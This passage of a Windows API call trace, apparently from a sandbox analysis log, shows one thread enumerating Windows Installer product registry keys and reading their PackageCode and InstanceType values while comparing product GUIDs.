(Thread=0x0, Token=0x16c) returned 1 [0068.790] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.790] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.790] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.790] LocalFree (hMem=0x32f770) returned 0x0 [0068.790] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.790] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.790] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\47586AF0B09600B498AA2B9864324194", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.790] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.790] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.790] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\47586AF0B09600B498AA2B9864324194", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.790] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="8ACFD7DA35CEF674C804208DA9DBAE94", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.790] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.790] lstrlenW (lpString="{0FA68574-690B-4B00-89AA-B28946231449}") returned 38 [0068.790] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.790] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.790] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.790] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\47586AF0B09600B498AA2B9864324194", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.791] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.791] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.791] lstrlenW (lpString="0") returned 1 [0068.791] lstrlenW (lpString="0") returned 1 [0068.791] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.791] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{AD7DFCA8-EC53-476F-8C40-02D89ABDEA49}") returned -1 [0068.791] GetCurrentThreadId () returned 0xf50 [0068.791] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.791] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1f, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="62DBF9290209B993A9A757D1160F9B24", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.791] GetCurrentThreadId () returned 0xf50 [0068.791] GetCurrentThreadId () returned 0xf50 [0068.791] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.791] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.791] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.791] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.791] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.791] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.791] GetCurrentThreadId () returned 0xf50 [0068.792] GetCurrentThreadId () returned 0xf50 [0068.792] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.792] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.792] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.792] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.792] LocalFree (hMem=0x32f770) returned 0x0 [0068.792] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.792] GetCurrentThreadId () returned 0xf50 [0068.792] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.792] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 38 [0068.792] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.792] GetCurrentThreadId () returned 0xf50 [0068.792] GetCurrentThreadId () returned 0xf50 [0068.792] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.792] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.792] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.792] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.792] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.792] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.792] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.792] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\62DBF9290209B993A9A757D1160F9B24", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.792] GetCurrentThreadId () returned 0xf50 [0068.793] GetCurrentThreadId () returned 0xf50 [0068.793] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.793] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.793] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.793] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.793] LocalFree (hMem=0x32f770) returned 0x0 [0068.793] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.793] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.793] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\62DBF9290209B993A9A757D1160F9B24", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.793] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.793] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.793] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\62DBF9290209B993A9A757D1160F9B24", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.793] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="BA7E09907D58A6548B8FE1E1652A5917", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.793] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.793] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 38 [0068.793] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.794] lstrlenW (lpString="62DBF9290209B993A9A757D1160F9B24") returned 32 [0068.794] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.794] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\62DBF9290209B993A9A757D1160F9B24", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.794] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.794] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.794] lstrlenW (lpString="0") returned 1 [0068.794] lstrlenW (lpString="0") returned 1 [0068.794] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.794] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{0990E7AB-85D7-456A-B8F8-1E1E56A29571}") returned 1 [0068.794] GetCurrentThreadId () returned 0xf50 [0068.794] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.794] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x20, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="67D6ECF5CD5FBA732B8B22BAC8DE1B4D", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.794] GetCurrentThreadId () returned 0xf50 [0068.794] GetCurrentThreadId () returned 0xf50 [0068.794] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.795] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.795] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.795] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.795] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.795] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.795] GetCurrentThreadId () returned 0xf50 [0068.795] GetCurrentThreadId () returned 0xf50 [0068.795] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.795] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.795] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.795] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.795] LocalFree (hMem=0x32f770) returned 0x0 [0068.795] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.795] GetCurrentThreadId () returned 0xf50 [0068.795] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.795] lstrlenW (lpString="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 38 [0068.795] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.795] GetCurrentThreadId () returned 0xf50 [0068.795] GetCurrentThreadId () returned 0xf50 [0068.795] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.796] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.796] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.796] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.796] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.796] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.796] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.796] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\67D6ECF5CD5FBA732B8B22BAC8DE1B4D", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.796] GetCurrentThreadId () returned 0xf50 [0068.796] GetCurrentThreadId () returned 0xf50 [0068.796] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.796] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.796] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.796] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.796] LocalFree (hMem=0x32f770) returned 0x0 [0068.796] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.796] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.796] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\67D6ECF5CD5FBA732B8B22BAC8DE1B4D", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.796] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.796] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.796] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\67D6ECF5CD5FBA732B8B22BAC8DE1B4D", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.797] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="C219D7C9EDE64A7469E2A738664304AB", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.797] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.797] lstrlenW (lpString="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 38 [0068.797] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.797] lstrlenW (lpString="67D6ECF5CD5FBA732B8B22BAC8DE1B4D") returned 32 [0068.797] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.797] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\67D6ECF5CD5FBA732B8B22BAC8DE1B4D", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.797] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.797] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.797] lstrlenW (lpString="0") returned 1 [0068.797] lstrlenW (lpString="0") returned 1 [0068.797] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.797] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{9C7D912C-6EDE-47A4-962E-7A83663440BA}") returned -1 [0068.797] GetCurrentThreadId () returned 0xf50 [0068.797] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.797] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x21, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="6E815EB96CCE9A53884E7857C57002F0", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.797] GetCurrentThreadId () returned 0xf50 [0068.797] GetCurrentThreadId () returned 0xf50 [0068.798] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.798] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.798] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.798] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.798] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.798] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.798] 